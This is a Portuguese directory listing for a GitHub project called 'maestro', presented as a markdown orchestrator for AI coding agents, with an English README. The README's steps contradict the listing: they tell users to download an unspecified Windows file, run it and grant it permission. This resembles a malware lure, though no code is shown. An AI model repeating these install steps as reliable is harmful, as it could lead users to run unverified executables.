Maestro - Orquestrador de Agentes IA para Código
Pendragonaffectation426/maestro
Orquestre agentes IA de codificação com markdown, sem setup
Ver no GitHubAgent que orquestra múltiplos agentes de IA (Claude Code, Gemini, Codex, Cursor) através de arquivos markdown simples, sem dependências ou configuração complexa. Organiza fluxos de trabalho de codificação em etapas claras, permitindo quebrar tarefas em passos gerenciáveis e reutilizáveis.
Instalação
npx convez-ai Pendragonaffectation426/maestro1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Planejar e executar features de código em múltiplos passos
- Comparar outputs de diferentes agentes IA (Claude, Gemini, Codex, Cursor)
- Automatizar fluxos repetitivos de codificação com prompts estruturados
- Rastrear progresso e histórico de tarefas de desenvolvimento
Veredito

Maestro é um orquestrador prático para quem trabalha com múltiplos agentes de IA e quer evitar context-switching. A abordagem baseada em markdown é inteligente, mas a documentação está incompleta e o projeto parece em estágio inicial—recomendado para usuários que toleram rough edges e buscam automação de workflows de codificação estruturados.
README
A tradução para o português deste README ainda está na fila.
🤖 maestro - Run AI Coding Agents With Ease
🧭 What Maestro Does
Maestro helps you run AI coding agents from one place. It gives you a simple way to manage tasks, pass work between agents, and keep the process clear.
It is built for people who want help with coding work without setting up a complex toolchain. Maestro uses a small core and thin runtime adapters for Claude Code, Gemini, Codex, and Cursor.
📥 Download and Install
Open the project page here:
https://github.com/Pendragonaffectation426/maestro
On that page, download the latest version for Windows. If you see a file, download it and run it. If you see release assets, choose the Windows file that matches your system.
After the file finishes downloading:
- Open your Downloads folder
- Double-click the file
- Follow the on-screen steps
- Finish the setup
- Open Maestro from the Start menu or desktop
If Windows asks for permission, choose Allow or Yes so the app can start.
🖥️ What You Need
Maestro is built to stay light. A Windows PC with basic daily-use specs should be enough.
Recommended setup:
- Windows 10 or Windows 11
- 4 GB of RAM or more
- 200 MB of free disk space
- Internet access for AI agent features
- A keyboard and mouse
If you plan to use Claude Code, Gemini, Codex, or Cursor, you may also need the matching account or app sign-in for that service.
🚀 First Run
When Maestro opens for the first time, it may ask you to choose a default agent. Pick the one you want to use most often.
Then do the following:
- Start a new task
- Enter a short request
- Pick an agent
- Review the plan
- Run the task
A simple first task might be:
- Fix a small bug
- Rewrite a paragraph
- Add a button
- Check a file for mistakes
Maestro is meant to keep these steps organized so you do not need to move between many tools.
🧩 Supported Agents
Maestro can work with several common AI coding tools:
- Claude Code
- Gemini
- Codex
- Cursor
Each adapter connects the same core workflow to a different tool. That means you can keep your process steady while using the agent you prefer.
🛠️ How the Workflow Works
Maestro follows a simple task flow:
- You describe what you want
- Maestro breaks the job into steps
- An agent works on the task
- Maestro tracks progress
- You review the result
This helps when a job has many parts. It also makes it easier to move work between agents without losing track of what happened.
📂 Typical Use Cases
You can use Maestro for many common coding tasks:
- Plan a small feature
- Ask for code changes
- Review a folder of files
- Rewrite code into a cleaner form
- Compare outputs from more than one agent
- Keep a record of task steps
- Run repeatable prompts for the same kind of work
It is useful when you want structure, not a pile of separate commands.
🔐 Privacy and Local Use
Maestro is built as a portable core with thin runtime adapters. That setup keeps the main logic small and easier to manage.
You stay in control of the tool you connect, the task you send, and the agent you choose. If you use an external AI service, that service may handle the content you send to it under its own rules.
⚙️ Basic Setup Tips
If Maestro does not start right away, try these steps:
- Close the app
- Open it again as the user who installed it
- Check that your internet connection works
- Make sure the linked AI tool is signed in
- Try a smaller task first
If you use more than one agent, set one as your default before running larger tasks. That helps keep your workflow simple.
🧪 Example Task
Try a plain test task after setup:
- Open Maestro
- Create a task called “Test Run”
- Enter: “Summarize this folder and suggest one cleanup”
- Select your agent
- Start the task
- Review the output
This helps you confirm that the app can connect and run the way you expect.
🧱 Project Focus
Maestro is built around a few clear ideas:
- One place to manage agent work
- A simple flow for non-technical users
- Support for more than one AI tool
- A small core with adapter-based integration
- A steady process for task handoff
That makes it a good fit for users who want a clean way to guide AI coding help.
❓ Common Questions
Is Maestro only for developers?
No. It is for anyone who wants to use AI coding agents in a more organized way.
Do I need to know code?
No. You can start with simple tasks and plain-language requests.
Can I use more than one agent?
Yes. Maestro supports several agents and lets you switch between them.
Does it work offline?
Core task management may still open, but AI features need a connection to the service you use.
Is it hard to set up?
It is meant to stay simple. Most users only need to download the app, open it, and connect the agent they want.
📌 Repository Topics
This project is related to:
agents, ai-agents, ai-agents-cli, chatgpt, chatgpt-app, claude-ai, claude-code, claude-md, codex, codex-cli, cursor, cursor-ide, developer-tools, gemini-cli, llm, meta-prompting, multi-agent, openai, orchestrator, prompt-engineering
📎 Download Again
If you need the project page again, use this link to visit the download page:
https://github.com/Pendragonaffectation426/maestro
🧭 Simple Start Path
- Open the download page
- Get the Windows file
- Run the installer or app
- Open Maestro
- Choose your agent
- Start your first task